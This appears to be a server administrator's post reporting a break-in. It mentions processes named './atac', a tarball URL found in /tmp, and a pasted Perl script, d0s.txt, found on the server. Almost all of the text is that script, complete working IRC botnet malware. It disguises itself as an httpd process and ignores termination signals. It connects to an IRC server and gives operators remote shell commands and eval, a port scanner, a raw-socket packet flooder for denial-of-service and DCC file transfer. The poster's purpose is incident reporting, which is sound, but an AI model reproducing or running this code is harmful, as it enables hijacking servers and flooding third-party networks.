My server has been seeing some usual activities today, I don't have much time
to get down to the bottom of things, but after I investigated briefly I have
decided to disable PERL executable permission for www-data (Apache process's
user), also locked /var/tmp so www-data cannot write to it.
Looks like it ignores all the `kill` signals, not sure how I can actually
kill it...
I found the included script in /var/tmp called d0s.txt.
I found a bunch of processes called ./atac 20 running, and found the
following content in /tmp/atac:
http://andrewng.com/tmp/atac.tbz
here's d0s.txt:
#!/usr/bin/perl
################ CONFIGURACAO
#################################################################
my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai
aparece no ps #
#----------------------------------------------################################################
my $MODOME='+pi'; # Modo Do Bot #
#----------------------------------------------################################################
my $linas_max='10'; # Evita o flood :) depois de X
linhas #
#----------------------------------------------################################################
my $sleep='3'; # ele dorme X segundos
#
##################### IRC
#####################################################################
my @adms=("DDOS"); # Nick do administrador
#
#----------------------------------------------################################################
my @canais=("#bots ddos");# Canais #
#----------------------------------------------################################################
my $nick='b0t'; # Nick do bot. Caso esteja em uso vai
aparecer #
# # aparecer com numero radonamico
no final #
#----------------------------------------------################################################
my $ircname = 'b0t'; # User ID
#
#----------------------------------------------################################################
my $realname = '4Admin14: 4 # DDOS';
#
#----------------------------------------------################################################
$servidor='irc.gigachat.net' unless $servidor; # Servidor de irc que vai ser
usado #
# # caso n�o seja especificado no
argumento #
#----------------------------------------------################################################
my $porta='6667'; # Porta do servidor de irc
#
################ ACESSO A SHELL
###############################################################
my $secv = 1; # 1/0 pra habilita/desabilita
acesso a shell #
###############################################################################################
my $VERSAO = '1.0';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
&DCC::connections;
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001Bot powered by DDOS TEAM\001");
}
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~
/^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick".int rand(9999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
print "$0 Executado \n";
sendraw("JOIN $canal");
sendraw("MODE $meunick $MODOME");
sendraw("PRIVMSG $canal :Modo Alterado Para4 $MODOME");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("21","22","23","25","53","80","110","143");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort =>
$porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas:
@aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada");
}
}
if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M�dia de envio\002:
".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
}
exit;
}
}
}
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^voice/) {
voice("$printl", "$kem") if $case eq "voice";
$oarg = substr($case, 6);
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^devoice/) {
devoice("$printl", "$kem") if $case eq "devoice";
$oarg = substr($case, 8);
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =~ /^invite\s+(\S+) (.*)/) {
invite("$1", "$2");
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND("$1", "$2");
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
sub shell {
return unless $secv;
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "Diert�rio inexistente!");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
my $iaddr = inet_aton($_[0]);
my $msg = 'B' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp}
= 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65000; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
# DoS ?? :P
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
#############
# ALIASES #
#############
sub action {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
return unless $#_ == 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ == 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
return unless $#_ == 1;
sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
return unless $#_ == 1;
sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
return unless $#_ == 1;
sendraw("KICK $_[0] $_[1] :$_[2]");
}
sub modo {
return unless $#_ == 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub invite {
return unless $#_ == 1;
sendraw("INVITE $_[1] $_[0]");
}
sub topico {
return unless $#_ == 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub whois {
return unless $#_ == 0;
sendraw("WHOIS $_[0]");
}
sub who {
return unless $#_ == 0;
sendraw("WHO $_[0]");
}
sub names {
return unless $#_ == 0;
sendraw("NAMES $_[0]");
}
sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
sendraw("QUIT :$_[0]");
}
# DCC
package DCC;
sub connections {
my @ready = $dcc_sel->can_read(1);
# return unless (@ready);
foreach my $fh (@ready) {
my $dcctipo = $DCC{$fh}{tipo};
my $arquivo = $DCC{$fh}{arquivo};
my $bytes = $DCC{$fh}{bytes};
my $cur_byte = $DCC{$fh}{curbyte};
my $nick = $DCC{$fh}{nick};
my $msg;
my $nread = sysread($fh, $msg, 10240);
if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
$DCC{$fh}{status} = "Cancelado";
$DCC{$fh}{ftime} = time;
$dcc_sel->remove($fh);
$fh->close;
next;
}
if ($dcctipo eq "get") {
$DCC{$fh}{curbyte} += length($msg);
my $cur_byte = $DCC{$fh}{curbyte};
open(FILE, ">> $arquivo");
print FILE "$msg" if ($cur_byte <= $bytes);
close(FILE);
my $packbyte = pack("N", $cur_byte);
print $fh "$packbyte";
if ($bytes == $cur_byte) {
$dcc_sel->remove($fh);
$fh->close;
$DCC{$fh}{status} = "Recebido";
$DCC{$fh}{ftime} = time;
next;
}
} elsif ($dcctipo eq "send") {
my $send = $fh->accept;
$send->autoflush(1);
$dcc_sel->add($send);
$dcc_sel->remove($fh);
$DCC{$send}{tipo} = 'sendcon';
$DCC{$send}{itime} = time;
$DCC{$send}{nick} = $nick;
$DCC{$send}{bytes} = $bytes;
$DCC{$send}{curbyte} = 0;
$DCC{$send}{arquivo} = $arquivo;
$DCC{$send}{ip} = $send->peerhost;
$DCC{$send}{porta} = $send->peerport;
$DCC{$send}{status} = "Enviando";
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o
sendcon
open(FILE, "< $arquivo");
my $fbytes;
read(FILE, $fbytes, 1024);
print $send "$fbytes";
close FILE;
# delete($DCC{$fh});
} elsif ($dcctipo eq 'sendcon') {
my $bytes_sended = unpack("N", $msg);
$DCC{$fh}{curbyte} = $bytes_sended;
if ($bytes_sended == $bytes) {
$fh->close;
$dcc_sel->remove($fh);
$DCC{$fh}{status} = "Enviado";
$DCC{$fh}{ftime} = time;
next;
}
open(SENDFILE, "< $arquivo");
seek(SENDFILE, $bytes_sended, 0);
my $send_bytes;
read(SENDFILE, $send_bytes, 1024);
print $fh "$send_bytes";
close(SENDFILE);
}
}
}
sub SEND {
my ($nick, $arquivo) = @_;
unless (-r "$arquivo") {
return(0);
}
my $dccark = $arquivo;
$dccark =~ s/[.*\/](\S+)/$1/;
my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
my $longip = unpack("N",inet_aton($meuip));
my @filestat = stat($arquivo);
my $size_total=$filestat[7];
if ($size_total == 0) {
return(0);
}
my ($porta, $sendsock);
do {
$porta = int rand(64511);
$porta += 1024;
$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto =>
'tcp') and $dcc_sel->add($sendsock);
} until $sendsock;
$DCC{$sendsock}{tipo} = 'send';
$DCC{$sendsock}{nick} = $nick;
$DCC{$sendsock}{bytes} = $size_total;
$DCC{$sendsock}{arquivo} = $arquivo;
&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET {
my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
return(0) if (-e "$arquivo");
if (open(FILE, "> $arquivo")) {
close FILE;
} else {
return(0);
}
my $dccip=fixaddr($dcclongip);
return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip,
PeerPort=>$dccporta, Timeout=>15) or return (0);
$dccsock->autoflush(1);
$dcc_sel->add($dccsock);
$DCC{$dccsock}{tipo} = 'get';
$DCC{$dccsock}{itime} = time;
$DCC{$dccsock}{nick} = $nick;
$DCC{$dccsock}{bytes} = $bytes;
$DCC{$dccsock}{curbyte} = 0;
$DCC{$dccsock}{arquivo} = $arquivo;
$DCC{$dccsock}{ip} = $dccip;
$DCC{$dccsock}{porta} = $dccporta;
$DCC{$dccsock}{status} = "Recebendo";
}
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo
com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
my $socket = shift;
my $sock_tipo = $DCC{$socket}{tipo};
unless (lc($sock_tipo) eq "chat") {
my $nick = $DCC{$socket}{nick};
my $arquivo = $DCC{$socket}{arquivo};
my $itime = $DCC{$socket}{itime};
my $ftime = time;
my $status = $DCC{$socket}{status};
$ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
my $d_time = $ftime-$itime;
my $cur_byte = $DCC{$socket}{curbyte};
my $bytes_total = $DCC{$socket}{bytes};
my $rate = 0;
$rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
my $porcen = ($cur_byte*100)/$bytes_total;
my ($r_duv, $p_duv);
if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
$r_duv = $3; $r_duv++ if $4 >= 5;
$rate = "$1\.$2"."$r_duv";
}
if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
$p_duv = $3; $p_duv++ if $4 >= 5;
$porcen = "$1\.$2"."$p_duv";
}
return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time",
"$rate", "$porcen");
}
return(0);
}
sub fixaddr {
my ($address) = @_;
chomp $address; # just in case, sigh.
if ($address =~ /^\d+$/) {
return inet_ntoa(pack "N", $address);
} elsif ($address =~
/^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return $address;
} elsif ($address =~ tr/a-zA-Z//) {
return inet_ntoa(((gethostbyname($address))[4])[0]);
} else {
return;
}
}